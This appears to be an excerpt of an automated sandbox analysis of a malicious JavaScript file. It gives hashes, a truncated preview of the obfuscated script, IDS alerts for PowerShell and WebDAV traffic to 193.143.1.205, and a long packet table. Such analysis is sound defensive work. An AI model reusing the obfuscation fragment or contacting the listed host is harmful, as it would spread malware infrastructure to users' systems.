Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16054), with CRLF line terminators
Entropy (8bit):	4.9483104126850135
TrID:
File name:	929826576149214658.js
File size:	19'588 bytes
MD5:	6cce275c5931d1c0e5c23cdbd11bf69b
SHA1:	4382d3cc6b108774518778586795a8f0fed246f6
SHA256:	4601f58511e7f9307ef10ba01e0d38484f0d8b12c9372d7dd192ae6a2cad3a3a
SHA512:	6c1c673b5fb0a49fcdbea597388c0a3145a06e01da6e05c03ddee3631f8bbff9966ee4992fdaef0b67a78c3229545689c738b642594607c00466509ea8714e7c
SSDEEP:	384:xa8QkIeASuQhxlOU5fyvqidiJzZyQHaFGqb/IZ9uCydF6+Q21t3K:U8QkIeASuQhxdfyvqidiJzZyQHaFGqbu
TLSH:	7E9242CCF9708782DAC5AA757C0760714A34D2EDACA0182E7E55743A42F09B9B4D3BF1
File Content Preview:	function vwqnzknc(){pzznqmbij=[1031,3079,5127,4103,2055,3072];var rgkgifgo=this[nutgzmca+klyym+yqnkeu+ugtpkxtvj+gyacasibb+yizsaokea+wjvlvk+vxjpl](this[nfgleenl+cpxbxmhoa+hutheqoa+yqnkeu+xtmwf+nutgzmca+vxjpl][eusnxt+yqnkeu+gyacasibb+klyym+vxjpl+gyacasibb+g

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:47:20.008059+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T20:47:22.784070+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:47:19.222379923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:19.228149891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:19.228269100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:19.235171080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:19.240029097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.007791996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.007826090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.007878065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.007910967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.007946014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.007978916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.008013964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.008047104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.008059025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.008083105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.008111954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.008121967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.008163929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.014411926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.014457941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.014491081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.014517069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.052813053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.052825928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.052937031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.133316040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.133348942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.133404016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.133433104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.133470058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.133518934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.133630991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.133666039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.133701086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.133723021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.134133101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.134166956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.134187937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.134202003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.134255886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.134628057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.134656906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.134707928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.134896994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.134932041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.134968996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.134982109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.135004997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.135054111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.135756016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.135790110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.135826111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.135838032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.135859966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.135910034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.136598110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.136632919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.136666059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.136679888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.136699915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.136745930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.180360079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.180377960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.180521965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.221366882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.221390009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.221404076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.221564054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.258955956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259002924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259012938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.259059906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259092093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259110928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.259119034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259147882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259162903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.259181023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259211063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259232044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.259257078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259291887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259299040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.259680033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259715080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259741068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.259751081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259784937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259794950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.259819984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259855032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.259865999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.260562897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.260597944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.260605097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.260632992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.260668993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.260698080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.260704994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.260740995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.260768890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.261449099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.261496067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.261499882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.261547089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.261579990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.261590958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.261614084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.261646986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.261658907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.262392044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.262424946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.262437105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.262459993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.262491941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.262497902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.262527943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.262562990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.262563944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.263309956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.263366938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.263379097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.263415098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.263447046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.263453960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.263482094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.263516903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.263520002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.264158010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.264194012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.264208078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.266666889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.266701937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.266722918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.266751051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.266797066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.308219910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.308243990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.308281898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.347877026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.347923994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.347960949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.347995996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.348031998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.348042965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.348072052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.348084927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.348119974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.384764910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.384783983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.384799004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.384854078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.384892941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.384911060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.384926081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.384932041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.384943962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.384957075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.384965897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.384969950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.384989977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.385205030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.385216951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.385227919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.385241032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.385266066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.385389090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.385401011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.385411978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.385447025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.385946035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.385962009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.385973930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.385979891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.385984898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.385998011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386007071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.386008978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386022091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386030912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.386034012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386045933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386056900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386065960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.386070013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386090040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.386113882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.386565924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386576891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386589050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386610985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.386696100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386707067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386718988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386729002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.386729002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386738062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386749029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386761904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386768103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.386775970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.386792898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.387634993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.387646914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.387658119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.387670040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.387675047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.387684107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.387692928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.387696981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.387710094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.387717009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.387721062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.387732983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.387744904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.387758017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.387759924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.387790918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.387809992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.388519049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.388536930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.388549089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.388559103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.388571024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.388575077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.388582945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.388596058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.388597012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.388607979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.388619900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.388626099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.388632059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.388636112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.388645887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.388685942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.389467955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.389478922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.389497042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.389503956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.389508009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.389522076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.389533997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.389535904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.389547110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.389559031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.389563084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.389571905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.389580965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.389605999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.390652895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.394610882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.394623041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.394635916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.394646883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.394676924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.394699097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.404930115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.434580088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.434653997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.434689999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.434694052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.434741974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.434779882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.434791088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.434812069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.434847116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.434856892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.434880972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.434916019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.434930086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.434977055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.434994936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.435008049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.435020924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.435056925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.471420050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.471502066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.471539974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.471576929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.471580982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.471611977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.471626997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.471646070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.471678019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.471682072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.471714973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.471745014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.471750021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.473611116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.473640919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.473675013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.473710060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.473743916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.473798037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.473830938 CET	80	49704	193.143.1.205	192.168.2.5
